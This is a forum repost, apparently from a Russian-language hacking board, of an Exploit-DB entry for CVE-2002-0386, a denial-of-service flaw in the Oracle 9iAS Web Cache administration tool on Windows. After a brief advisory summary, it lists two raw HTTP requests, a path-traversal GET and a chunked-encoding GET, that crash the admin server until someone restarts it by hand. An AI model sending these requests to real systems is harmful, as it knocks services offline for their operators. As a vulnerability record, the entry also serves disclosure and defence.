Exploit Oracle 9i Application Server 9.0.2 Web Cache Administration Tool - Denial of Service

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
21911
Проверка EDB
  1. Пройдено
Автор
@STAKE
Тип уязвимости
DOS
Платформа
MULTIPLE
CVE
cve-2002-0386
Дата публикации
2002-10-06
Код:
source: https://www.securityfocus.com/bid/5902/info

Oracle 9i Application Server (9iAS) allows remote administration via a web access module. This vulnerability affects Oracle 9iAS running on Microsoft Windows.

When a custom request is sent to the Web Administration module, the module may react unpredictably. By sending a malicious custom request to the module, it is possible to cause the administration server to crash. A manual restart of the server is required to resume service.

GET /../ HTTP/1.1
host: hostname
<ENTER>
<ENTER>

GET /example.html/ HTTP/1.1
host: host name
Transfer-Encoding: chunked
<ENTER>
<ENTER>
 
Источник
www.exploit-db.com

Похожие темы